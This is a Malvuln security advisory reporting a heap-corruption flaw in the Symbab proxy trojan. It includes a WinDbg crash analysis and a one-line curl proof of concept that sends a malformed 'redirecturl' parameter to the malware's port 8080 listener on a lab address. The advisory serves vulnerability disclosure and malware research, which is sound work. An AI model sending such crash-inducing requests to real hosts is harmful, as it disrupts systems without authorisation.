Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/bffc519fbaf2d119bd307cd22368cdc7.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: Trojan-Proxy.Win32.Symbab.o
Vulnerability: Heap Corruption
Description: The malware listens on TCP port 8080. Attackers who can reach an infected system can send a corrupt HTTP request for the "redirecturl" parameter causing a heap corruption.
Family: Symbab
Type: PE32
MD5: bffc519fbaf2d119bd307cd22368cdc7
Vuln ID: MVID-2022-0610
Disclosure: 06/06/2022
Memory Dump:
(670.1e5c): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=049fff48 edx=00000290 esi=00000003 edi=00000003
eip=7770ed3c esp=049fb564 ebp=049fb6f4 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
ntdll!ZwWaitForMultipleObjects+0xc:
7770ed3c c21400 ret 14h
0:007> .ecxr
eax=00000290 ebx=000002d8 ecx=049fff48 edx=00000290 esi=00450000 edi=00000000
eip=776df2e1 esp=049fbea0 ebp=049fbee0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
ntdll!RtlFreeHeap+0xa1:
776df2e1 8078ff05 cmp byte ptr [eax-1],5 ds:002b:0000028f=??
0:007> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
*** WARNING: Unable to verify checksum for Trojan-Proxy.Win32.Symbab.o.bffc519fbaf2d119bd307cd22368cdc7.e
*** ERROR: Module load completed but symbols could not be loaded for Trojan-Proxy.Win32.Symbab.o.bffc519fbaf2d119bd307cd22368cdc7.e
FAULTING_IP:
ntdll!RtlFreeHeap+a1
776df2e1 8078ff05 cmp byte ptr [eax-1],5
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 776df2e1 (ntdll!RtlFreeHeap+0x000000a1)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 0000028f
Attempt to read from address 0000028f
PROCESS_NAME: Trojan-Proxy.Win32.Symbab.o.bffc519fbaf2d119bd307cd22368cdc7.e
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000000
EXCEPTION_PARAMETER2: 0000028f
READ_ADDRESS: 0000028f
FOLLOWUP_IP:
Trojan_Proxy_Win32_Symbab_o_bffc519fbaf2d119bd307cd22368cdc7+260c
004a260c 83c404 add esp,4
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
FAULTING_THREAD: 00001e5c
BUGCHECK_STR: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument_NULL_CLASS_PTR_DEREFERENCE_INVALID_POINTER_READ
PRIMARY_PROBLEM_CLASS: ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument
DEFAULT_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument
LAST_CONTROL_TRANSFER: from 744d7065 to 776df2e1
STACK_TEXT:
049fbee0 744d7065 00450000 00000000 00000290 ntdll!RtlFreeHeap+0xa1
049fbf2c 004a260c 00000290 049fff68 004a434a msvcrt!free+0x65
WARNING: Stack unwind information not available. Following frames may be wrong.
049fbf38 004a434a 049fff48 50545448 312e312f Trojan_Proxy_Win32_Symbab_o_bffc519fbaf2d119bd307cd22368cdc7+0x260c
049fff68 004a43d7 00000290 00000290 00000004 Trojan_Proxy_Win32_Symbab_o_bffc519fbaf2d119bd307cd22368cdc7+0x434a
049fff80 77408654 000002d8 77408630 42500cba Trojan_Proxy_Win32_Symbab_o_bffc519fbaf2d119bd307cd22368cdc7+0x43d7
049fff94 77704a77 000002d8 37e18a47 00000000 kernel32!BaseThreadInitThunk+0x24
049fffdc 77704a47 ffffffff 77729eca 00000000 ntdll!__RtlUserThreadStart+0x2f
049fffec 00000000 004a438c 000002d8 00000000 ntdll!_RtlUserThreadStart+0x1b
STACK_COMMAND: !heap ; ~7s; .ecxr ; kb
SYMBOL_STACK_INDEX: 2
SYMBOL_NAME: Trojan_Proxy_Win32_Symbab_o_bffc519fbaf2d119bd307cd22368cdc7+260c
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: Trojan_Proxy_Win32_Symbab_o_bffc519fbaf2d119bd307cd22368cdc7
IMAGE_NAME: Trojan-Proxy.Win32.Symbab.o.bffc519fbaf2d119bd307cd22368cdc7.e
DEBUG_FLR_IMAGE_TIMESTAMP: 4168069f
FAILURE_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument_c0000005_Trojan-Proxy.Win32.Symbab.o.bffc519fbaf2d119bd307cd22368cdc7.e!Unknown
BUCKET_ID: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument_NULL_CLASS_PTR_DEREFERENCE_INVALID_POINTER_READ_Trojan_Proxy_Win32_Symbab_o_bffc519fbaf2d119bd307cd22368cdc7+260c
Followup: MachineOwner
Exploit/PoC:
curl "http://192.168.18.125:8080/?redirecturl=http://0x41414141" -v
Connected to 192.168.18.125 (192.168.18.125) port 8080 (#0)
GET /?redirecturl=http://0x41414141 HTTP/1.1
Host: 192.168.18.125:8080
User-Agent: curl/7.47.1
Accept: */*
HTTP 1.0, assume close after body
HTTP/1.0 400 Bad Request
Server: ProxyServer/0.0.1
Mime-Version: 1.0
Date: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html
Content-Length: 24
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Squid-Error: ERR_INVALID_URL 0
X-Cache: MISS from www.rambler.ru
Connection: close
Unsupported protocol
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).